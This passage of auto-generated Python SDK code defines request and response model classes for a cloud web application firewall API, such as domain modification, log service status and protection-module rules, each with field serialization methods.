result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeLogServiceStatusResponseBodyDomainStatus(TeaModel):\n\n def __init__(self, domain=None, sls_log_active=None):\n self.domain = domain\n self.sls_log_active = sls_log_active\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponseBodyDomainStatus, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.sls_log_active is not None:\n result['SlsLogActive'] = self.sls_log_active\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SlsLogActive') is not None:\n self.sls_log_active = m.get('SlsLogActive')\n return self\n\n\nclass DescribeLogServiceStatusResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_status=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_status = domain_status\n\n def validate(self):\n if self.domain_status:\n for k in self.domain_status:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainStatus'] = []\n if self.domain_status is not None:\n for k in self.domain_status:\n result['DomainStatus'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_status = []\n if m.get('DomainStatus') is not None:\n for k in m.get('DomainStatus'):\n temp_model = DescribeLogServiceStatusResponseBodyDomainStatus()\n self.domain_status.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeLogServiceStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeLogServiceStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleCodeConfigRequest(TeaModel):\n\n def __init__(self, source_ip=None, lang=None, code_type=None,\n code_value=None, instance_id=None, resource_group_id=None):\n self.source_ip = source_ip\n self.lang = lang\n self.code_type = code_type\n self.code_value = code_value\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.source_ip is not None:\n result['SourceIp'] = self.source_ip\n if self.lang is not None:\n result['Lang'] = self.lang\n if self.code_type is not None:\n result['CodeType'] = self.code_type\n if self.code_value is not None:\n result['CodeValue'] = self.code_value\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('SourceIp') is not None:\n self.source_ip = m.get('SourceIp')\n if m.get('Lang') is not None:\n self.lang = m.get('Lang')\n if m.get('CodeType') is not None:\n self.code_type = m.get('CodeType')\n if m.get('CodeValue') is not None:\n self.code_value = m.get('CodeValue')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleCodeConfigResponseBody(TeaModel):\n\n def __init__(self, request_id=None, code_configs=None):\n self.request_id = request_id\n self.code_configs = code_configs\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigResponseBody, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.code_configs is not None:\n result['CodeConfigs'] = self.code_configs\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('CodeConfigs') is not None:\n self.code_configs = m.get('CodeConfigs')\n return self\n\n\nclass DescribeProtectionModuleCodeConfigResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleCodeConfigResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleModeRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, instance_id=None,\n resource_group_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleModeResponseBody(TeaModel):\n\n def __init__(self, learn_status=None, request_id=None, mode=None):\n self.learn_status = learn_status\n self.request_id = request_id\n self.mode = mode\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.learn_status is not None:\n result['LearnStatus'] = self.learn_status\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.mode is not None:\n result['Mode'] = self.mode\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('LearnStatus') is not None:\n self.learn_status = m.get('LearnStatus')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Mode') is not None:\n self.mode = m.get('Mode')\n return self\n\n\nclass DescribeProtectionModuleModeResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleModeResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleRulesRequest(TeaModel):\n\n def __init__(self, page_size=None, page_number=None, domain=None,\n defense_type=None, query=None, lang=None, instance_id=None,\n resource_group_id=None):\n self.page_size = page_size\n self.page_number = page_number\n self.domain = domain\n self.defense_type = defense_type\n self.query = query\n self.lang = lang\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.query is not None:\n result['Query'] = self.query\n if self.lang is not None:\n result['Lang'] = self.lang\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Query') is not None:\n self.query = m.get('Query')\n if m.get('Lang') is not None:\n self.lang = m.get('Lang')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleRulesResponseBodyRules(TeaModel):\n\n def __init__(self, status=None, time=None, version=None, content=None,\n rule_id=None):\n self.status = status\n self.time = time\n self.version = version\n self.content = content\n self.rule_id = rule_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponseBodyRules, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.time is not None:\n result['Time'] = self.time\n if self.version is not None:\n result['Version'] = self.version\n if self.content is not None:\n result['Content'] = self.content\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('Time') is not None:\n self.time = m.get('Time')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('Content') is not None:\n self.content = m.get('Content')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n return self\n\n\nclass DescribeProtectionModuleRulesResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, rules=None):\n self.total_count = total_count\n self.request_id = request_id\n self.rules = rules\n\n def validate(self):\n if self.rules:\n for k in self.rules:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['Rules'] = []\n if self.rules is not None:\n for k in self.rules:\n result['Rules'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.rules = []\n if m.get('Rules') is not None:\n for k in m.get('Rules'):\n temp_model = DescribeProtectionModuleRulesResponseBodyRules()\n self.rules.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeProtectionModuleRulesResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleRulesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeProtectionModuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None, module_status=None):\n self.request_id = request_id\n self.module_status = module_status\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.module_status is not None:\n result['ModuleStatus'] = self.module_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('ModuleStatus') is not None:\n self.module_status = m.get('ModuleStatus')\n return self\n\n\nclass DescribeProtectionModuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeWafSourceIpSegmentRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeWafSourceIpSegmentResponseBody(TeaModel):\n\n def __init__(self, request_id=None, ip_v6s=None, ips=None):\n self.request_id = request_id\n self.ip_v6s = ip_v6s\n self.ips = ips\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.ip_v6s is not None:\n result['IpV6s'] = self.ip_v6s\n if self.ips is not None:\n result['Ips'] = self.ips\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('IpV6s') is not None:\n self.ip_v6s = m.get('IpV6s')\n if m.get('Ips') is not None:\n self.ips = m.get('Ips')\n return self\n\n\nclass DescribeWafSourceIpSegmentResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeWafSourceIpSegmentResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyDomainRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, source_ips=None,\n load_balancing=None, http_port=None, https_port=None, http_2port=\n None, https_redirect=None, http_to_user_ip=None, is_access_product=\n None, log_headers=None, cluster_type=None, connection_time=None,\n read_time=None, write_time=None, access_type=None,\n cloud_native_instances=None, ip_follow_status=None):\n self.instance_id = instance_id\n self.domain = domain\n self.source_ips = source_ips\n self.load_balancing = load_balancing\n self.http_port = http_port\n self.https_port = https_port\n self.http_2port = http_2port\n self.https_redirect = https_redirect\n self.http_to_user_ip = http_to_user_ip\n self.is_access_product = is_access_product\n self.log_headers = log_headers\n self.cluster_type = cluster_type\n self.connection_time = connection_time\n self.read_time = read_time\n self.write_time = write_time\n self.access_type = access_type\n self.cloud_native_instances = cloud_native_instances\n self.ip_follow_status = ip_follow_status\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.log_headers is not None:\n result['LogHeaders'] = self.log_headers\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_instances is not None:\n result['CloudNativeInstances'] = self.cloud_native_instances\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('LogHeaders') is not None:\n self.log_headers = m.get('LogHeaders')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeInstances') is not None:\n self.cloud_native_instances = m.get('CloudNativeInstances')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n return self\n\n\nclass ModifyDomainResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyDomainResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyDomainResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyDomainIpv6StatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyDomainIpv6StatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyDomainIpv6StatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyDomainIpv6StatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyLogRetrievalStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyLogRetrievalStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyLogRetrievalStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyLogRetrievalStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyLogServiceStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyLogServiceStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyLogServiceStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyLogServiceStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleModeRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, mode=None,\n instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.mode = mode\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.mode is not None:\n result['Mode'] = self.mode\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Mode') is not None:\n self.mode = m.get('Mode')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleModeResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleModeResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleModeResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleRuleRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, rule=None, rule_id=\n None, lock_version=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.rule = rule\n self.rule_id = rule_id\n self.lock_version = lock_version\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = 